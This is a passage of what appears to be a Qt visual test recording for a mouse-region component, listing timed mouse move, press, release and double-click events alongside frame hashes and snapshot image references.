} - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 292; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 283; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9680 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 261; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9696 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 252; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 243; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9712 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 225; y: 29 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 207; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9728 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 189; y: 35 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 169; y: 39 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9744 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 161; y: 40 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 145; y: 44 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9760 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 138; y: 45 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9776 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 133; y: 48 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 127; y: 50 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9792 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 122; y: 52 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 118; y: 56 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9808 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 114; y: 57 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 110; y: 60 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9824 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 109; y: 61 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9840 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 107; y: 62 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 106; y: 63 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9856 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 103; y: 63 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 100; y: 64 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9872 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 64 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 92; y: 65 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9888 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 88; y: 65 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9904 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 85; y: 66 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 67 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9920 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 79; y: 69 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 77; y: 70 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9936 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 72 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9952 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 67; y: 74 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 64; y: 75 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9968 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9984 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 61; y: 76 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 60; y: 77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10000 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10016 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10032 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 59; y: 77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10048 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 58; y: 77 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10064 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 56; y: 76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10080 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10096 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10112 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10128 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10144 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10160 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10176 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10192 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10208 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10224 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Frame { - msec: 10240 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 76 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 59; y: 75 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10256 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 75 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10272 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 65; y: 74 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 69; y: 74 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10288 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 72; y: 73 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 76; y: 73 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10304 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 80; y: 72 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10320 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 87; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 90; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10336 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 93; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10352 - hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 99; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10368 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 102; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 106; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10384 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 108; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 110; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10400 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 113; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 115; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10416 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 118; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 121; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10432 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 123; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10448 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 126; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 128; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10464 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 130; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 132; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10480 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 133; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10496 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 134; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10512 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10528 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 135; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 136; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10544 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 137; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 138; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10560 - image: "mouseregion.10.png" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 140; y: 71 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10576 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10592 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10608 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10624 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10640 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10656 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10672 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10688 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10704 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10720 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10736 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10752 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10768 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10784 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10800 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10816 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10832 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10848 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10864 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10880 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10896 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10912 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10928 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10944 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10960 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10976 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 10992 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11008 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11024 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11040 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11056 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11072 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11088 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11104 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11120 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11136 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11152 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11168 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11184 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11200 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11216 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11232 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11248 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11264 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 11280 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11296 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11312 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11328 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11344 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11360 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 11376 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11392 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11408 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11424 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11440 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11456 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11472 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11488 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11504 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11520 - image: "mouseregion.11.png" - } - Frame { - msec: 11536 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11552 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11568 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11584 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11600 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11616 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11632 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11648 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11664 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11680 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11696 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11712 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 2 - buttons: 2 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 11728 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11744 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11760 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11776 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11792 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11808 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11824 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 2 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 11840 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11856 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11872 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11888 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11904 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11920 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11936 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11952 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11968 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 11984 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12000 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12016 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12032 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12048 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 4 - button: 2 - buttons: 2 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12064 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12080 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12096 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12112 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12128 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12144 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12160 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12176 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12192 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12208 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 2 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12224 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12240 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12256 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12272 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12288 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12304 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12320 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12336 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12352 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12368 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12384 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12400 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12416 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12432 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12448 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 2 - buttons: 3 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12464 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12480 - image: "mouseregion.12.png" - } - Frame { - msec: 12496 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12512 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12528 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 2 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12544 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12560 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12576 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12592 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12608 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12624 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12640 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12656 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12672 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12688 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12704 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12720 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12736 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12752 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12768 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12784 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12800 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12816 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12832 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12848 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12864 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12880 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12896 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12912 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12928 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12944 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12960 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 12976 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 12992 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13008 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13024 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13040 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13056 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13072 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13088 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13104 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13120 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13136 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13152 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13168 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13184 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13200 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13216 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13232 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13248 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13264 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13280 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13296 - hash: 